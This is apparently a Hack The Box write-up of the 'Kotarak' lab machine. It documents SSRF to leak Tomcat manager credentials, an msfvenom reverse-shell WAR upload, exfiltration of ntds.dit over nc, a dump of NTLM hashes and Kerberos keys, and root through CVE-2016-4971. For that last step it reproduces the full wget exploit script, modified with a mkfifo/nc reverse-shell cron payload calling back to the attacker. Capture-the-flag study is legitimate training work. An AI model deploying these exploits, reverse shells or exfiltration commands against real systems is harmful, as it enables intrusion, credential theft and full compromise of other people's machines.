Published on

HTB Kotarak

Authors

Kotarak

Enumeration

nmap all ports, full enumerate

nmap -p- -sV -A <ip> --open -o full-enumerate.nmap

└─$ nmap -p- -sV -A $IP --open -o full-enumerate.nmap           
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-22 21:41 EDT
Nmap scan report for 10.129.1.117
Host is up (0.032s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
|   256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_  256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
| ajp-methods: 
|   Supported methods: GET HEAD POST PUT DELETE OPTIONS
|   Potentially risky methods: PUT DELETE
|_  See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp  open  http    Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5 - Error report
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-favicon: Apache Tomcat
60000/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title:         Kotarak Web Hosting        
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.46 seconds

nmap (all identified TCP ports + default scripts & service versions)

nmap -p <1,2,3> -sV --script default --script http-methods --script http-headers <ip> -o <ip>-identified-ports.nmap

└─$ nmap -p 22,8009,8080,60000 -sV --script default --script http-methods --script http-headers $IP -o identified-ports.nmap 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-22 21:44 EDT
Nmap scan report for 10.129.1.117
Host is up (0.053s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
|   256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_  256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
| ajp-methods: 
|   Supported methods: GET HEAD POST PUT DELETE OPTIONS
|   Potentially risky methods: PUT DELETE
|_  See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp  open  http    Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Potentially risky methods: PUT DELETE
| http-headers: 
|   Content-Type: text/html;charset=utf-8
|   Content-Language: en
|   Content-Length: 992
|   Date: Sun, 23 Jul 2023 01:44:52 GMT
|   Connection: close
|   
|_  (Request type: GET)
|_http-title: Apache Tomcat/8.5.5 - Error report
60000/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title:         Kotarak Web Hosting        
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-headers: 
|   Date: Sun, 23 Jul 2023 01:44:52 GMT
|   Server: Apache/2.4.18 (Ubuntu)
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: HEAD)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.26 seconds

nmap (vuln scan)

nmap -p <1,2,3> --script vuln <ip> -o <ip>-vuln.nmap

└─$ nmap -p 22,8009,8080,60000 --script vuln $IP -o vuln.nmap                                                                
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-22 21:48 EDT
Stats: 0:03:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.20% done; ETC: 21:51 (0:00:02 remaining)
Stats: 0:03:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.20% done; ETC: 21:51 (0:00:02 remaining)
Nmap scan report for 10.129.1.117
Host is up (0.024s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
8009/tcp  open  ajp13
8080/tcp  open  http-proxy
| http-enum: 
|   /examples/: Sample scripts
|   /manager/html/upload: Apache Tomcat (401 )
|_  /manager/html: Apache Tomcat (401 )
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
60000/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 521.56 seconds

Port Enumeration

**Port 8080

********Port 60000

  • ffuf

    [Status: 200, Size: 1169, Words: 226, Lines: 77, Duration: 26ms]
        * FUZZ: index.php
    
    [Status: 200, Size: 92867, Words: 4617, Lines: 1113, Duration: 48ms]
        * FUZZ: info.php
    
    [Status: 200, Size: 2, Words: 1, Lines: 3, Duration: 21ms]
        * FUZZ: url.php
    
    [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 25ms]
        * FUZZ: .php
    
    [Status: 200, Size: 1169, Words: 226, Lines: 77, Duration: 28ms]
        * FUZZ: 
    
    [Status: 403, Size: 303, Words: 22, Lines: 12, Duration: 33ms]
        * FUZZ: server-status
    
    :: Progress: [661680/661680] :: Job [1/1] :: 480 req/sec :: Duration: [0:20:39] :: Errors: 0 ::
    
  • http://10.129.1.117:60000/url.php?path=1

    • here I took it into burp, because the name of the file after trying “1” is url.php so I assumed it’s going to read some sort of URL? so I spun up my python3 -m http.server 8000:
Untitled

which worked to some extent, just have to figure out how to make this SSRF go to a shell.


Exploitation

**********Port 60000

  1. url.php found

SSRF

  1. SSRF found in this function as shown above, so I looked up how I can get a reverse shell and found gopher https://github.com/tarunkant/Gopherus
  2. In gopherus we can see it supports specific ports, 3306, 5432, 9000, 11211, 6379, 10050, and 25. So, I started an intruder to check for each of them, and we got a match for 3306 mysql:

Untitled

  1. But this was just unrealistic, guessing a username for mysql is not going to happen, so I checked for all ports with intruder (above), and came across this guy http://10.129.1.117:60000/url.php?path=localhost:888

    Untitled

  2. When clicking on one of these, it triggers url.php?doc=on

  3. So I went back to http://10.129.1.117:60000 and searched with the specific local url like http://127.0.0.1:888/?doc=on nothing returned anything good except backup:

    Untitled

username="admin" password="3@g01PdhB!"

  1. We can see this has access to manager, manager-gui, etc. in tomcat, which we know exists on 10.129.1.117:8080

  2. went to 10.129.1.117:8080/manager/html

    Untitled

  3. We are brought to a page where we can see the applications running on the server:

Untitled

  1. msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.3 LPORT=4455 -f war -o rev.war to create a reverse shell with war, we need it to be java as well since tomcat is java.
  2. Then we just upload this file made by msfvenom and we have a reverse shell once going to the site

Untitled

Untitled

Foothold

.dit .bin

  1. in tomcat shell, we see a weird directory consisting of .dit and .bin files.

Untitled

  1. We can the data file consists of root policies, data, passwords, etc. The goal is to get these on my local machine now.

Local: nc -lvnp 443 > SYSTEM

Target: nc 10.10.16. 443 < file.bin

Local: nc -lvnp 443 > ntds.dit

Target: nc 10.10.16. 443 < file.dit

  1. Now we use impacket to get our hashes: impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
  • Hashes

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
    WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
    WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
    WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
    WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
    atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
    [*] Kerberos keys from ntds.dit 
    Administrator:aes256-cts-hmac-sha1-96:6c53b16d11a496d0535959885ea7c79c04945889028704e2a4d1ca171e4374e2
    Administrator:aes128-cts-hmac-sha1-96:e2a25474aa9eb0e1525d0f50233c0274
    Administrator:des-cbc-md5:75375eda54757c2f
    WIN-3G2B0H151AC$:aes256-cts-hmac-sha1-96:84e3d886fe1a81ed415d36f438c036715fd8c9e67edbd866519a2358f9897233
    WIN-3G2B0H151AC$:aes128-cts-hmac-sha1-96:e1a487ca8937b21268e8b3c41c0e4a74
    WIN-3G2B0H151AC$:des-cbc-md5:b39dc12a920457d5
    WIN-3G2B0H151AC$:rc4_hmac:668d49ebfdb70aeee8bcaeac9e3e66fd
    krbtgt:aes256-cts-hmac-sha1-96:14134e1da577c7162acb1e01ea750a9da9b9b717f78d7ca6a5c95febe09b35b8
    krbtgt:aes128-cts-hmac-sha1-96:8b96c9c8ea354109b951bfa3f3aa4593
    krbtgt:des-cbc-md5:10ef08047a862046
    krbtgt:rc4_hmac:ca1ccefcb525db49828fbb9d68298eee
    WIN2K8$:aes256-cts-hmac-sha1-96:289dd4c7e01818f179a977fd1e35c0d34b22456b1c8f844f34d11b63168637c5
    WIN2K8$:aes128-cts-hmac-sha1-96:deb0ee067658c075ea7eaef27a605908
    WIN2K8$:des-cbc-md5:d352a8d3a7a7380b
    WIN2K8$:rc4_hmac:160f6c1db2ce0994c19c46a349611487
    WINXP1$:aes256-cts-hmac-sha1-96:347a128a1f9a71de4c52b09d94ad374ac173bd644c20d5e76f31b85e43376d14
    WINXP1$:aes128-cts-hmac-sha1-96:0e4c937f9f35576756a6001b0af04ded
    WINXP1$:des-cbc-md5:984a40d5f4a815f2
    WINXP1$:rc4_hmac:6f5e87fd20d1d8753896f6c9cb316279
    WIN2K31$:aes256-cts-hmac-sha1-96:f486b86bda928707e327faf7c752cba5bd1fcb42c3483c404be0424f6a5c9f16
    WIN2K31$:aes128-cts-hmac-sha1-96:1aae3545508cfda2725c8f9832a1a734
    WIN2K31$:des-cbc-md5:4cbf2ad3c4f75b01
    WIN2K31$:rc4_hmac:cdd7a7f43d06b3a91705900a592f3772
    WIN7$:aes256-cts-hmac-sha1-96:b9921a50152944b5849c706b584f108f9b93127f259b179afc207d2b46de6f42
    WIN7$:aes128-cts-hmac-sha1-96:40207f6ef31d6f50065d2f2ddb61a9e7
    WIN7$:des-cbc-md5:89a1673723ad9180
    WIN7$:rc4_hmac:24473180acbcc5f7d2731abe05cfa88c
    atanas:aes256-cts-hmac-sha1-96:933a05beca1abd1a1a47d70b23122c55de2fedfc855d94d543152239dd840ce2
    atanas:aes128-cts-hmac-sha1-96:d1db0c62335c9ae2508ee1d23d6efca4
    atanas:des-cbc-md5:6b80e391f113542a
    [*] Cleaning up...
    
  1. Only thing worthy here is atanas and Administrator
  1. awk -F: '{print $4}' hashes to grab our specific NTLM hash needed

  2. hashes.com =

    Untitled

  3. Now in our shell we su atanas and enter f16tomcat!

Root

  1. Now that we are atanas, the next goal is root.
  2. For some weird reason, we can cd /root and see the contents of it:

Untitled

Untitled

  1. Seems to be some sort of trick, but something has to be here.
  2. We can see that app.log is owned by atanas and the group owner is root, so we can cat app.log to see:
atanas@kotarak-dmz:/root$ cat app.log
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
  1. We can see that it is also being executed every 2 minutes, indiciated by the date section I underlined. Most likely some form of outdated wget
atanas@kotarak-dmz:/root$ wget -V
GNU Wget 1.17.1 built on linux-gnu.

wget exploit

  1. searchsploit wget shows us a vulnerabilitiy where we can use arbitrary file upload and RCE, here is the entire exploit
  • exploit

    └─$ cat 40064.txt       
    =============================================
    - Release date: 06.07.2016
    - Discovered by: Dawid Golunski
    - Severity: High
    - CVE-2016-4971
    =============================================
    
    I. VULNERABILITY
    -------------------------
    
    GNU Wget < 1.18       Arbitrary File Upload / Potential Remote Code Execution
    
    II. BACKGROUND
    -------------------------
    
    "GNU Wget is a free software package for retrieving files using HTTP, HTTPS and
    FTP, the most widely-used Internet protocols.
    It is a non-interactive commandline tool, so it may easily be called from
    scripts, cron jobs, terminals without X-Windows support, etc.
    
    GNU Wget has many features to make retrieving large files or mirroring entire
    web or FTP sites easy
    "
    
    https://www.gnu.org/software/wget/
    
    III. INTRODUCTION
    -------------------------
    
    GNU Wget before 1.18 when supplied with a malicious URL (to a malicious or
    compromised web server) can be tricked into saving an arbitrary remote file
    supplied by an attacker, with arbitrary contents and filename under
    the current directory and possibly other directories by writing to .wgetrc.
    Depending on the context in which wget is used, this can lead to remote code
    execution and even root privilege escalation if wget is run via a root cronjob
    as is often the case in many web application deployments.
    The vulnerability could also be exploited by well-positioned attackers within
    the network who are able to intercept/modify the network traffic.
    
    IV. DESCRIPTION
    -------------------------
    
    Because of lack of sufficient controls in wget, when user downloads a file
    with wget, such as:
    
    wget http://attackers-server/safe_file.txt
    
    an attacker who controls the server could make wget create an arbitrary file
    with an arbitrary contents and filename by issuing a crafted HTTP 30X Redirect
    containing FTP server reference in response to the victim's wget request.
    
    For example, if the attacker's server replies with the following response:
    
    HTTP/1.1 302 Found
    Cache-Control: private
    Content-Type: text/html; charset=UTF-8
    Location: ftp://attackers-server/.bash_profile
    Content-Length: 262
    Server: Apache
    
    wget will automatically follow the redirect and will download a malicious
    .bash_profile file from a malicious FTP server.
    It will fail to rename the file to the originally requested filename of
    'safe_file.txt' as it would normally do, in case of a redirect to another
    HTTP resource with a different name.
    
    Because of this vulnerability, an attacker is able to upload an arbitrary file
    with an arbitrary filename to the victim's current directory.
    
    Execution flow:
    
    victim@trusty:~$ wget --version | head -n1
    GNU Wget 1.17 built on linux-gnu.
    
    victim@trusty:~$ pwd
    /home/victim
    
    victim@trusty:~$ ls
    victim@trusty:~$
    
    victim@trusty:~$ wget http://attackers-server/safe-file.txt
    Resolving attackers-server... 192.168.57.1
    Connecting to attackers-server|192.168.57.1|:80... connected.
    HTTP request sent, awaiting response... 302 Found
    Location: ftp://192.168.57.1/.bash_profile [following]
               => ‘.bash_profile’
    Connecting to 192.168.57.1:21... connected.
    Logging in as anonymous ... Logged in!
    ==> SYST ... done.    ==> PWD ... done.
    ==> TYPE I ... done.  ==> CWD not needed.
    ==> SIZE .bash_profile ... 55
    ==> PASV ... done.    ==> RETR .bash_profile ... done.
    Length: 55 (unauthoritative)
    
    .bash_profile                                100%[=============================================================================================>]      55  --.-KB/s   in 0s
    
    2016-02-19 04:50:37 (1.27 MB/s) - ‘.bash_profile’ saved [55]
    
    victim@trusty:~$ ls -l
    total 4
    -rw-rw-r-- 1 victim victim 55 Feb 19 04:50 .bash_profile
    victim@trusty:~$
    
    This vulnerability will not work if extra options that force destination
    filename are specified as a paramter. Such as: -O /tmp/output
    It is however possible to exploit the issue with mirroring/recursive options
    enabled such as -r or -m.
    
    Another limitation is that attacker exploiting this vulnerability can only
    upload his malicious file to the current directory from which wget was run,
    or to a directory specified by -P option (directory_prefix option).
    This could however be enough to exploit wget run from home directory, or
    within web document root (in which case attacker could write malicious php files
    or .bash_profile files).
    
    The current directory limitation could also be bypassed by uploading a .wgetrc
    config file if wget was run from a home directory.
    
    By saving .wgetrc in /home/victim/.wgetrc an attacker could set arbitrary wget
    settings such as destination directory for all downloaded files in future,
    as well as set a proxy setting to make future requests go through a malicious
    proxy server belonging to the attackers to which they could send further
    malicious responses.
    
    Here is a set of Wget settings that can be helpful to an attacker:
    
    dir_prefix = string
    	Top of directory tree—the same as ‘-P string’.
    
    post_file = file
    	Use POST as the method for all HTTP requests and send the contents of file in the request body. The same as ‘--post-file=file’.
    
    recursive = on/off
    	Recursive on/off—the same as ‘-r’.
    
    timestamping = on/off
    	Allows to overwrite existing files.
    
    cut_dirs = n
    	Ignore n remote directory components. Allows attacker to create directories with wget (when combined with recursive option).
    
    http_proxy
    	HTTP Proxy server
    
    https_proxy
    	HTTPS Proxy server
    
    output_document = file
    	Set the output filename—the same as ‘-O file’.
    
    input = file
    	Read the URLs from string, like ‘-i file’.
    
    metalink-over-http
    	Issues HTTP HEAD request instead of GET and extracts Metalink metadata from response headers.
            Then it switches to Metalink download. If no valid Metalink metadata is found, it falls back to ordinary HTTP download.
    
    Full list of .wgetrc options can be found in:
    
    https://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Commands
    
    V. PROOF OF CONCEPT EXPLOIT
    -------------------------
    
    1) Cronjob with wget scenario
    
    Often wget is used inside cronjobs. By default cronjobs run within home
    directory of the cronjob owner.
    Such wget cronjobs are commonly used with many applications used to download
    new version of databases, requesting web scripts that perform scheduled tasks
    such as rebuilding indexes, cleaning caches etc.
    Here are a few example tutorials for Wordpress/Moodle/Joomla/Drupal found on
    the Internet with exploitable wget cronjobs:
    
    https://codex.wordpress.org/Post_to_your_blog_using_email
    https://docs.moodle.org/2x/ca/Cron
    http://www.joomlablogger.net/joomla-tips/joomla-general-tips/how-to-set-up-a-content-delivery-network-cdn-for-your-joomla-site
    http://www.zyxware.com/articles/4483/drupal-how-to-add-a-cron-job-via-cpanel
    
    Such setup could be abused by attackers to upload .bash_profile file through
    wget vulnerability and run commands in the context of the victim user upon
    their next log-in.
    
    As cron runs priodically attackers, could also write out .wgetrc file in the
    first response and then write to /etc/cron.d/malicious-cron in the second.
    If a cronjob is run by root, this would give them an almost instant root code
    execution.
    
    It is worth noting that if an attacker had access to local network they could
    potentially modify unencrypted HTTP traffic to inject malicious 30X Redirect
    responses to wget requests.
    
    This issue could also be exploited by attackers who have already gained
    access to the server through a web vulnerability to escalate their privileges.
    In many cases the cron jobs (as in examples above) are set up to request
    various web scripts e.g:
    http://localhost/clean-cache.php
    
    If the file was writable by apache, and attacker had access to www-data/apache
    account, they could modify it to return malicious Location header and exploit
    root cronjob that runs the wget request in order to escalate their privileges
    to root.
    
    For simplicity we can assume that attacker already has control over the server
    that the victim sends the request to with wget.
    
    The root cronjob on the victim server may look as follows:
    
    root@victim:~# cat /etc/cron.d/update-database
    # Update database file every 2 minutes
    */2 * * * * root wget -N http://attackers-server/database.db > /dev/null 2>&1
    
    In order to exploit this setup, attacker first prepares a malicious .wgetrc
    and starts an FTP server:
    
    attackers-server# mkdir /tmp/ftptest
    attackers-server# cd /tmp/ftptest
    
    attackers-server# cat <<_EOF_>.wgetrc
    post_file = /etc/shadow
    output_document = /etc/cron.d/wget-root-shell
    _EOF_
    
    attackers-server# sudo pip install pyftpdlib
    attackers-server# python -m pyftpdlib -p21 -w
    
    At this point attacker can start an HTTP server which will exploit wget by
    sending malicious redirects to the victim wget's requests:
    
    ---[ wget-exploit.py ]---
    
    #!/usr/bin/env python
    
    #
    # Wget 1.18 < Arbitrary File Upload Exploit
    # Dawid Golunski
    # dawid( at )legalhackers.com
    #
    # http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
    #
    # CVE-2016-4971
    #
    
    import SimpleHTTPServer
    import SocketServer
    import socket;
    
    class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
           # This takes care of sending .wgetrc
    
           print "We have a volunteer requesting " + self.path + " by GET :)\n"
           if "Wget" not in self.headers.getheader('User-Agent'):
    	  print "But it's not a Wget :( \n"
              self.send_response(200)
              self.end_headers()
              self.wfile.write("Nothing to see here...")
              return
    
           print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
           self.send_response(301)
           new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
           print "Sending redirect to %s \n"%(new_path)
           self.send_header('Location', new_path)
           self.end_headers()
    
       def do_POST(self):
           # In here we will receive extracted file and install a PoC cronjob
    
           print "We have a volunteer requesting " + self.path + " by POST :)\n"
           if "Wget" not in self.headers.getheader('User-Agent'):
    	  print "But it's not a Wget :( \n"
              self.send_response(200)
              self.end_headers()
              self.wfile.write("Nothing to see here...")
              return
    
           content_len = int(self.headers.getheader('content-length', 0))
           post_body = self.rfile.read(content_len)
           print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
    
           print "Sending back a cronjob script as a thank-you for the file..."
           print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
           self.send_response(200)
           self.send_header('Content-type', 'text/plain')
           self.end_headers()
           self.wfile.write(ROOT_CRON)
    
           print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"
    
           return
    
    HTTP_LISTEN_IP = '192.168.57.1'
    HTTP_LISTEN_PORT = 80
    FTP_HOST = '192.168.57.1'
    FTP_PORT = 21
    
    ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"
    
    handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
    
    print "Ready? Is your FTP server running?"
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    result = sock.connect_ex((FTP_HOST, FTP_PORT))
    if result == 0:
       print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
    else:
       print "FTP is down :( Exiting."
       exit(1)
    
    print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
    
    handler.serve_forever()
    
    ---[ eof ]---
    
    Attacker can run wget-exploit.py and wait a few minutes until the victim's server executes
    the aforementioned cronjob with wget.
    
    The output should look similar to:
    
    ---[ wget-exploit.py output ]---
    
    attackers-server# python ./wget-exploit.py
    
    Ready? Is your FTP server running?
    FTP found open on 192.168.57.1:21. Let's go then
    
    Serving wget exploit on port 80...
    
    We have a volunteer requesting /database.db by GET :)
    
    Uploading .wgetrc via ftp redirect vuln. It should land in /root
    
    192.168.57.10 - - [26/Feb/2016 15:03:54] "GET /database.db HTTP/1.1" 301 -
    Sending redirect to ftp://anonymous@192.168.57.1:21/.wgetrc
    
    We have a volunteer requesting /database.db by POST :)
    
    Received POST from wget, this should be the extracted /etc/shadow file:
    
    ---[begin]---
    root:$6$FsAu5RlS$b2J9GDm.....cut......9P19Nb./Y75nypB4FXXzX/:16800:0:99999:7:::
    daemon:*:16484:0:99999:7:::
    bin:*:16484:0:99999:7:::
    sys:*:16484:0:99999:7:::
    sync:*:16484:0:99999:7:::
    games:*:16484:0:99999:7:::
    man:*:16484:0:99999:7:::
    lp:*:16484:0:99999:7:::
    ...cut...
    ---[eof]---
    
    Sending back a cronjob script as a thank-you for the file...
    It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)
    192.168.57.10 - - [26/Feb/2016 15:05:54] "POST /database.db HTTP/1.1" 200 -
    
    File was served. Check on /root/hacked-via-wget on the victim's host in a minute! :)
    
    ---[ output eof ]---
    
    As we can see .wgetrc got uploaded by the exploit. It has set the post_file
    setting to /etc/shadow.
    Therefore, on the next wget run, wget sent back shadow file to the attacker.
    It also saved the malicious cronjob script (ROOT_CRON variable) which should
    create a file named /root/hacked-via-wget, which we can verify on the victim's
    server:
    
    root@victim:~# cat /etc/cron.d/wget-root-shell
    * * * * * root /usr/bin/id > /root/hacked-via-wget
    
    root@victim:~# cat /root/hacked-via-wget
    uid=0(root) gid=0(root) groups=0(root)
    
    2) PHP web application scenario
    
    If wget is used within a PHP script e.g.:
    
    <?php
    
    // Update geoip data
    
      system("wget -N -P geoip http://attackers-host/goeip.db");
    
    ?>
    
    An attacker who manages to respond to the request could simply upload a PHP
    backdoor of:
    
    <?php
    	//webshell.php
    
    	system($_GET['cmd']);
    ?>
    
    by using the wget-exploit script described in example 1.
    
    After the upload he could simply execute the script and their shell
    command by a GET request to:
    
    http://victims-php-host/geoip/webshell.php?cmd=id
    
    VI. BUSINESS IMPACT
    -------------------------
    
    Affected versions of wget that connect to untrusted (or compromised) web
    servers could be tricked into uploading a file under an arbitrary name, or
    even path (if wget is run from a home directory).
    Depending on the context in which wget is used, this could lead to
    uploading a web shell and granting the attacker access remote access to the
    system, or privilege escalation. It could be possible for attackers to escalate
    to root user if wget is run via root cronjob as it is often the case in web
    application deployments and is recommended in some guides on the Internet.
    
    The vulnerability could also be exploited by well-positioned attackers within
    the networ who are able to intercept/modify the network traffic.
    
    VII. SYSTEMS AFFECTED
    -------------------------
    
    All versions of Wget before the patched version of 1.18 are affected.
    
    VIII. SOLUTION
    -------------------------
    
    Update to wget version 1.18 as advertised by the vendor at:
    
    http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html
    
    Linux distributions should update their wget packages. It is recommended
    to update wget manually if an updated package is not available for your
    distribution.
    
    IX. REFERENCES
    -------------------------
    
    http://legalhackers.com
    
    http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
    
    http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html
    
    http://www.ubuntu.com/usn/usn-3012-1/
    
    https://bugzilla.redhat.com/show_bug.cgi?id=1343666#c1
    
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971
    
    X. CREDITS
    -------------------------
    
    The vulnerability has been discovered by Dawid Golunski
    dawid (at) legalhackers (dot) com
    legalhackers.com
    
    XI. REVISION HISTORY
    -------------------------
    
    06.07.2016 - Advisory released
    
    XII. LEGAL NOTICES
    -------------------------
    
    The information contained within this advisory is supplied "as-is" with
    no warranties or guarantees of fitness of use or otherwise. I accept no
    responsibility for any damage caused by the use or misuse of this information.
    
  1. Going through the exploit, we set some /tmp directory, and we need to open a ftp server on the targeted machine. Problem is, this machine blocks us from trying to start a listener:
atanas@kotarak-dmz:/tmp/ftptest$ nc -l 21
nc: Permission denied
  1. We can bypass this with authbind:
atanas@kotarak-dmz:/tmp/ftptest$ authbind nc -l 21
  1. Then following the instructions of the exploit:
atanas@kotarak-dmz:/tmp/ftptest$ authbind python -m pyftpdlib -p21 -w
/usr/local/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:243: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
[I 2023-07-23 11:53:35] >>> starting FTP server on 0.0.0.0:21, pid=89263 <<<
[I 2023-07-23 11:53:35] concurrency model: async
[I 2023-07-23 11:53:35] masquerade (NAT) address: None
[I 2023-07-23 11:53:35] passive ports: None
  1. Now following the exploit we build out exploit.py:
  • exploit.py in mine I just put a reverse shell

    #!/usr/bin/env python
    
    #
    # Wget 1.18 < Arbitrary File Upload Exploit
    # Dawid Golunski
    # dawid( at )legalhackers.com
    #
    # http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
    #
    # CVE-2016-4971
    #
    
    import SimpleHTTPServer
    import SocketServer
    import socket;
    
    class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
           # This takes care of sending .wgetrc
    
           print "We have a volunteer requesting " + self.path + " by GET :)\n"
           if "Wget" not in self.headers.getheader('User-Agent'):
    	  print "But it's not a Wget :( \n"
              self.send_response(200)
              self.end_headers()
              self.wfile.write("Nothing to see here...")
              return
    
           print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
           self.send_response(301)
           new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
           print "Sending redirect to %s \n"%(new_path)
           self.send_header('Location', new_path)
           self.end_headers()
    
       def do_POST(self):
           # In here we will receive extracted file and install a PoC cronjob
    
           print "We have a volunteer requesting " + self.path + " by POST :)\n"
           if "Wget" not in self.headers.getheader('User-Agent'):
    	  print "But it's not a Wget :( \n"
              self.send_response(200)
              self.end_headers()
              self.wfile.write("Nothing to see here...")
              return
    
           content_len = int(self.headers.getheader('content-length', 0))
           post_body = self.rfile.read(content_len)
           print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
    
           print "Sending back a cronjob script as a thank-you for the file..."
           print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
           self.send_response(200)
           self.send_header('Content-type', 'text/plain')
           self.end_headers()
           self.wfile.write(ROOT_CRON)
    
           print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"
    
           return
    
    HTTP_LISTEN_IP = '10.129.1.117'
    HTTP_LISTEN_PORT = 80
    FTP_HOST = '10.129.1.117'
    FTP_PORT = 21
    
    ROOT_CRON = "* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.3 4455 >/tmp/f \n"
    
